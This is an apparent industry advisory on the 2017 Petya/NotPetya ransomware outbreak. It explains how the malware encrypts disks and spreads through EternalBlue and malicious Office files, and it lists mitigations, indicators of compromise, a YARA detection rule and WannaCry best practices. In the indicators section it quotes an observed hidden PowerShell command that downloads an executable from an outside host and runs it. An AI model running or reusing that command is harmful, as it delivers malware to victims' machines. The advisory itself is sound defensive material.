Petya / GoldenEye / ExPetr Ransomware Crisis

What is Ransomware? Ransomware is a malicious software that encrypts the files and locks device, such as a computer, tablet or smartphone and then demands a ransom to unlock it. Recently, a dangerous ransomware named 'Petya' has been affecting the computers worldwide creating the highly targeted ransomware attack the world has ever seen. This has affected a computers in India also.

What is Petya Ransomware? Petya / Petrwrap / NotPetya / GoldenEye / ExPetr (assigned by Kaspersky labs) is a ransomware virus that affects Microsoft Windows based systems. This ransomware outbreak, though smaller than the previous WannaCry attack, has had a considerable impact. This is a new version of the previously known Petya ransomware virus. It demands payment in bitcoin wallet and contains a personal Posteo email ID, wowsmith123456@posteo.net. It demands a ransom of $300 worth of Bitcoins.

What makes it dangerous? Unlike other ransomware viruses, **it encrypts the Master File Table (MFT) for NTFS partition**s. Each file on an NTFS volume is represented by a record in a special file called the master file table (MFT). If the MFT is corrupted the file system structure on the disk becomes unusable. It also overwrites MBR (Master Boot Record) with a custom bootloader that shows a ransom note and prevents the victim from booting their computer. This means that **once a machine is infected it is in a complete state of lockdown**. This makes it more intrusive. In comparison, the WannaCry ransomware virus targeted only specific file extensions while still allowing the operating system access.

Also, unlike WannaCry, this ransomware **does not have a kill switch**. It also **has the capability to steal login credentials and spread laterally. This is of major concern if the ransomware virus lands on machines with administrative privileges.**

The above mentioned email ID has been shutdown, thus breaking the chain to obtain decryption keys for infected systems. **This implies that even after the ransom is paid (though not recommended), there's no recourse to save the infected machines**.

What vulnerabilities are exploited? It uses the previously known SMB vulnerability, CVE-2017-0143 / MS17-010 (Eternal Blue). As per various open source reports and CERT-IN advisory, it also uses the CVE-2017-199 office RTF vulnerability to download and run the Petya installer. It combines both client-based and network-based attack.

How does it spread? It uses EternalBlue MS17-010 to propagate. The ransomware spreads by clicking on links and downloading malicious files over internet and email. These emails contain malicious office documents which use the above mentioned vulnerability to download and run

the Petya installer. The installer then executes the SMB exploit (EternalBlue) and spreads to new computers on the same network. It scans the network for specific ports, searches for the vulnerability and then exploits it to inject the malware in the new machine and thus it spreads widely across the network. It is also being reported that the ransomware virus spreads by stealing login credentials using WMIC / PSExec tools. Another infection vector are the software updates published by a little-known Ukrainian firm, MeDoc.

It is also reported to spread via The EternalRomance exploit – a remote code execution exploit targeting Windows XP to Windows 2008 systems over TCP port 445.

What is its impact? So far the malware has been dominant in Ukraine. Incidents have also been reported in Russia, England, US, France, Norway, Israel, Poland, Germany, Italy, Belarus, Lithuania and India. It has affected various business outlets spread across multiple sectors. The affected entities include banks, telecom companies, metro railways, airports, power plants, oil plants, pharmaceutical companies, government departments, logistics companies, food conglomerates, law firms etc. It has also led to shutdown of shipping terminals across the world. A total of 2,000 machines are being reported to be infected by this virus across the world.

How to prevent infection? Users and administrators are advised to take the following preventive measures to protect their computer networks from ransomware infection / attacks:

- In order to prevent infection users and organizations are advised to apply patches to Windows systems as mentioned in Microsoft Security Bulletin MS17-010 (https://technet.microsoft.com/library/security/MS17-010) and June 2017 Security Update (https://portal.msrc.microsoft.com/en-us/security-guidance/releasenotedetail/40969d56-1b2a-e711-80db-000d3a32fc99). This fixes the CVE-2017-0199
- Restrict execution of powershell /WSCRIPT/ PSEXEC / WMIC in enterprise environment Ensure installation and use of the latest version (currently v5.0) of PowerShell, with enhanced logging enabled. script block logging, and transcription enabled. Send the associated logs to a centralized log repository for monitoring and analysis.
- Create the read-only file C:\Windows\perfc.dat on computers. It prevents the file-scrambling part of the ransomware from running, but doesn't stop it spreading on the network.
- Microsoft Patch for Unsupported Versions such as Windows XP, Vista, Server 2003, Server 2008 etc. (http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598)
- To prevent data loss Users & Organisations are advised to take backup of Critical Data
- Block SMB ports on Enterprise Edge/perimeter network devices [UDP 137, 138 and TCP 139, 445] or Disable SMBv1. (https://support.microsoft.com/en-us/help/2696547)
- Restrict TCP ports 139 and 445 traffic to where it is absolutely needed using router ACLs

- Use private VLANs if your edge switches support this feature
- Use host based firewalls to limit communication on TCP ports 139 and 445, especially between workstations

Indicators of Compromise

Following are IOCs as reported by various security researchers (some of these are from unofficial sources and hence should be used with caution):

Email address associated with this ransomware: wowsmith123456(@)posteo(.)net

Ransomware spreading URL: hxxp://benkow(.)cc

Bitcoin addresses: 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX

C&C payment servers:

- hxxp://mischapuk6hyrn72(.)onion/
- hxxp://petya3jxfp2f7g3i(.)onion/
- hxxp://petya3sen7dyko2n(.)onion/
- hxxp://mischa5xyix2mrhd(.)onion/MZ2MMJ
- hxxp://mischapuk6hyrn72(.)onion/MZ2MMJ
- hxxp://petya3jxfp2f7g3i(.)onion/MZ2MMJ
- hxxp://petya3sen7dyko2n(.)onion/MZ2MMJ

Possible IP address

- 185.165.29(.)78
- 84.200.16(.)242
- 111.90.139(.)247
- 95.141.115(.)108

Malware dropped files:

- **File Name Order-20062017.doc (RTF is CVE-2017-0199)**
  - MD5 Hash Identifier 415FE69BF32634CA98FA07633F4118E1
  - SHA-1 Hash Identifier 101CC1CB56C407D5B9149F2C3B8523350D23BA84 SHA-256 Hash Identifier FE2E5D0543B4C8769E401EC216D78A5A3547DFD426FD47E097DF04A5F7D6D26 File Size 6215 bytes
  - File Type Rich Text Format data
  - Connects to the host: 84.200.16.242 80
- **File Name myguy.xls**
  - MD5 Hash Identifier 0487382A4DAF8EB9660F1C67E30F8B25

- SHA-1 Hash Identifier 736752744122A0B5EE4B95DDAD634DD225DC0F73 SHA-256 Hash Identifier EE29B9C01318A1E23836B949942DB14D4811246FDAE2F41DF9F0DCD922C63B6 File Size 13893 bytes
- File Type Zip archive data
- mshta.exe %WINDIR%\System32\mshta.exe" "C:\myguy.xls.hta" " (PID: 2324) powershell.exe -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('h11p://https://www.linkedin.com/redir/invalid-link-page?url=french-cooking%2ecom%2Fmyguy%2eexe', '%APPDATA%\10807.exe');" (PID: 2588, Additional Context: (System.Net.WebClient).DownloadFile('h11p://https://www.linkedin.com/redir/invalid-link-page?url=french-cooking%2ecom%2Fmyguy%2eexe', '%APPDATA%\10807.exe') ;) 10807.exe %APPDATA%\10807.exe" " (PID: 3096)

- **File Name BCA9D6.exe**
  - MD5 Hash Identifier A1D5895F85751DFE67D19CCCB51B051A
  - SHA-1 Hash Identifier 9288FB8E96D419586FC8C595DD95353D48E8A060
  - SHA-256 Hash Identifier 17DACEDB6F0379A65160D73C0AE3AA1F03465AE75CB6AE754C7DCB3017AFFBD
  - File Size 275968 bytes

Following IOCs are reported by Kaspersky Labs:

- 71B6A493388E7D0B40C83CE903BC6B04
- 0df7179693755b810403a972f4466afb
- 42b2ff216d14c2c8387c8eabfb1ab7d0
- E595c02185d8e12be347915865270cca
- e285b6ce047015943e685e6638bd837e

Yara rules

```
rule ransomware_PetrWrap {
meta:
copyright = "Kaspersky Lab"
description = "Rule to detect PetrWrap ransomware samples"
last_modified = "2017-06-27"
author = "Kaspersky Lab"
hash = "71B6A493388E7D0B40C83CE903BC6B04"
version = "1.0"
strings:
```

$a1 =
"MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n
2JmURWV/uHB0ZrlQ/wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4G
RKxEEFLCy7vP12EYOPXknVy/+mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgq+CXsPwfITDbDD
mdrRIiUEUw6o3pt5pNOskfOJbMan2TZu" fullword wide
$a2 =
".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fd
b.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sl
n.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls" fullword wide
$a3 = "DESTROY ALL OF YOUR DATA! PLEASE ENSURE THAT YOUR POWER CABLE IS PLUGGED"
fullword ascii
$a4 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" fullword ascii
$a5 = "wowsmith123456@posteo.net." fullword wide
condition:
uint16(0) == 0x5A4D and
filesize < 1000000 and any of them }

Key Pointers:

- Complete impact on Indian organizations is not yet known, as very few organizations in India have reported the attack to CERT-In. As per a few informal sources, a few banks, insurance companies, Law Enforcement Agencies, a large FMCG org. have been known to be effected. Organizations are requested to report incidents to CERT-In and relevant stakeholders like their sectoral regulators.
- Indian IT-ITeS industry have been working with experts and to ensure both domestic and global clients remain protected against these threats. Majority of ransomware attacks have been reported from the European geography.
- DSCI worked with Industry leaders (CISOs/ CIOs) across industry and CERT-In to get important message and advisory released to the organizations. DSCI shared CERT advisory and best practices with its members and in various communities starting 13th May.
- DSCI compiled Best Practices document with help of industry and government experts, and available public information and reached out to its members (Corporate/ NASSCOM members) and with SMB community.
- We are seeing an unprecedented exchange of Information amongst Security community from across verticals and National Agencies like CERT-In to understand and address the challenge.

- We understand, high-level of exchange of information between CERT-In and other country CERTs is happening at a national level.
- International Law Enforcement Agencies like Interpol are seized with the matter and have issued an advisory and are working with Global LEA and Private Industry partners to shape a response to this complex threat.
- We are concerned at potential impact to the Industry and at a country level, and would like to emphasize the need for Industry, Govt and LEA collaborating to address and mitigate risk.

References:

- http://www.cyberswachhtakendra.gov.in/alerts/petya_ransomware.html
- https://securelist.com/schroedingers-petya/78870/
- http://fortune.com/2017/06/27/petya-ransomware-ukraine-medoc/
- https://www.wired.com/story/petya-ransomware-wannacry-mistakes/
- https://www.nytimes.com/2017/06/27/technology/ransomware-hackers.html
- https://www.malwaretech.com/2017/06/petya-ransomware-attack-whats-known.html
- https://blog.kryptoslogic.com/malware/2017/06/28/petya.html
- https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/

Best Practices Compilation on Wannacry/ WannaCrypt Ransomware

- Best Practices Compilation Last Updated by NASSCOM and DSCI : 15th May, 2017
- Previous Communication to Industry from NASSCOM and DSCI : 13th May, 2017
- Individuals or organizations are not encouraged to pay the ransom, as this does not guarantee files will be released. Any type of suspected behavior should be analysed and **reported such instances of fraud to CERT-In and Law Enforcement agencies immediately:**

  Incident Response Help Desk
  E-mail: incident@cert-in.org.in
  Phone: 1800-11-4949
  FAX: 1800-11-6969
  Web: http://www.cert-in.org.in
  PGP Fingerprint: 4A8F 0BA9 61B1 91D8 8708 7E61 42A4 4F23 2477 855F
  PGP Key information: http://www.cert-in.org.in/contact.htm

  CERT-In is constantly updating its webpage, please refer for latest update:
  http://www.cyberswachhtakendra.gov.in/alerts/wannacry_ransomware.html

- **Windows OS Update:** In order to prevent infection, users and organizations are advised to apply patches to Windows systems as mentioned in Microsoft Security Bulletin MS17-010.

  https://technet.microsoft.com/library/security/MS17-010/

  Given the impact of #WannaCry, Microsoft has released SMB patch update for unsupported Windows Versions - XP, Vista, 8, Server 2003, 2008 etc. Patch has been released.

  http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

- **Endpoints**:
  - Ensure that all functions and teams in the organizations are aware of the best practices to prevent and report any ransomware infection
  - Maintain updated Antivirus software on all systems
  - Use endpoint antivirus agent to block know extensions created by 'Wannacry' such as *.wncry,*.wnry,*.wcry,*.wncryt.

- Avoid enabling macros from email attachments. If a user opens the attachment and enables macros, embedded code will execute the malware on the machine. For enterprises or organizations, it may be best to block email messages with attachments from suspicious sources.
- Keep the operating system third party applications (MS office, browsers, browser Plugins) up-to-date with the latest patches.
- Application whitelisting/Strict implementation of Software Restriction Policies (SRP) to block binaries running from %APPDATA% and %TEMP% paths. Ransomware sample drops and executes generally from these locations.
- Restrict users' abilities (permissions) to install and run unwanted software applications.
- Perform regular backups of all critical information to limit the impact of data or system loss and to help expedite the recovery process. Ideally, this data should be kept on a separate device, and backups should be stored offline.
- Switch off SMB traffic port (445) for the time being in the internal network, unless required by any particular application
- Don't open attachments in unsolicited e-mails, even if they come from people in your contact list, and never click on a URL contained in an unsolicited e-mail, even if the link seems benign. In cases of genuine URLs close out the e-mail and go to the organization's website directly through browser
- Follow safe practices when browsing the web. Ensure the web browsers are secured enough with appropriate content controls.
- Disable ActiveX content in Microsoft Office applications such as Word, Excel, etc.
- Disable remote Desktop Connections, follow least-privileged principle for access management.
- Enable personal firewalls on workstations.
- If not required consider disabling, PowerShell /windows script hosting.
- Implement strict External Device (USB drive) usage policy.
- Employ data-at-rest and data-in-transit encryption.

- **Server/ Network/ Gateway:**
  - IPS: Ensure IPS signatures are updated. Verify if the signature that can detect this vulnerability / exploit attempt is enabled and is in blocking mode. Get the details with regards to the name of the Signature and verify if this Signature has been detected in the logs for last 1 week

- eMail Gateway: Ensure eMail Gateway solutions has all relevant updates for detecting possible mails that may bring the Trojan in the environment
- Proxy: Ensure Proxy solution has updated database. Block IOCs for IP Address and Domain names on the Proxy. Verify last one week logs for the IOCs on Proxy and take action on sources of infection
- Firewall: Block the known malware perpetrator IP addresses on Perimeter Firewall. Verify logs for last one week.
- Database: Check regularly for the integrity of the information stored in the databases.
- Regularly check the contents of backup files of databases for any unauthorized encrypted contents of data records or external elements, (backdoors /malicious scripts.)
- Ensure integrity of the codes /scripts being used in database, authentication and sensitive systems
- Network segmentation and segregation into security zones - help protect sensitive information and critical services. Separate administrative network from business processes with physical controls and Virtual Local Area Networks.
- Carry out vulnerability Assessment and Penetration Testing (VAPT) and information security audit of critical networks/systems, especially database servers from CERT-IN empaneled auditors. Repeat audits at regular intervals.
- Block the attachments of file types, exe|pif|tmp|url|vb|vbe|scr|reg|cer|pst|cmd|com|bat|dll|dat|hlp|hta|js|wsf ,wherever unwarranted
- Establish a Sender Policy Framework (SPF) for your domain, which is an email validation system designed to prevent spam by detecting email spoofing by which most of the ransomware samples successfully reaches the corporate email boxes.
- Consider installing Enhanced Mitigation Experience Toolkit, or similar host-level

Note: It is advisable to follow best practices to thwart this cyber-attack leveraging only authentic knowledge sources.

Generic Prevention Tools (As Recommended by Cert-In) :

- Sophos: Hitman.Pro
  https://www.hitmanpro.com/en-us/surfright/alert.aspx
- Trendmicro Ransomware Screen Unlocker tool:
  https://esupport.trendmicro.com/en-us/home/pages/technical-support/1105975.aspx
- Microsoft Enhanced mitigation and experience toolkit(EMET)
  https://www.microsoft.com/en-us/download/details.aspx?id=50766

References

- Kaspersky Lab, Kaspersky Lab detects mobile Trojan Svpeng: Financial malware with ransomware capabilities now targeting U.S.(link is external)
- Sophos / Naked Security, What's next for ransomware? CryptoWall picks up where CryptoLocker left off(link is external)
- Symantec, CryptoDefence, the CryptoLocker Imitator, Makes Over $34,000 in One Month(link is external)
- Symantec, Cryptolocker: A Thriving Menace(link is external)
- Symantec, Cryptolocker Q&A: Menace of the Year(link is external)
- Symantec, International Takedown Wounds Gameover Zeus Cybercrime Network(link is external)
- Sophos / Naked Security, "Locky" ransomware – what you need to know(link is external)
- SamSam: The Doctor Will See You, After He Pays The Ransom
- https://www.symantec.com/connect/blogs/what-you-need-know-about-wannacry-ransomware
- https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/
- https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
- https://www.us-cert.gov/ncas/current-activity/2017/05/12/Multiple-Ransomware-Infections-Reported
- https://technet.microsoft.com/library/security/MS17-010
- http://blog.talosintelligence.com/2017/05/wannacry.html
- https://kc.mcafee.com/corporate/index?page=content&id=KB89335

Annexure - Last Communication from NASSCOM and DSCI to Industry is mentioned below. It was sent on 13th May, 2017.

Dear Members,

It has been reported that a new ransomware named as "Wannacry" is spreading widely and globally. Please refer link for CERT-In Advisory:
http://www.cyberswachhtakendra.gov.in/alerts/wannacry_ransomware.html

Wannacry encrypts the files on infected Windows systems. This ransomware spreads by using a vulnerability in implementations of Server Message Block (SMB) in Windows systems. This exploit is named as ETERNALBLUE. The ransomware called WannaCrypt or WannaCry encrypts the computer's hard disk drive and then spreads laterally between computers on the same LAN. The ransomware also spreads through malicious attachments to emails.

In order to prevent infection, users and organizations are advised to apply patches to Windows systems as mentioned in Microsoft Security Bulletin MS17-010.

https://technet.microsoft.com/library/security/MS17-010/

Given the impact of #WannaCry, Microsoft has released SMB patch update for unsupported Windows Versions - XP, Vista, 8, Server 2003, 2008 etc.

http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

For more details, please write to Incident@cert-in.org.in or call +91-1800-11-4949

Regards,

Team DSCI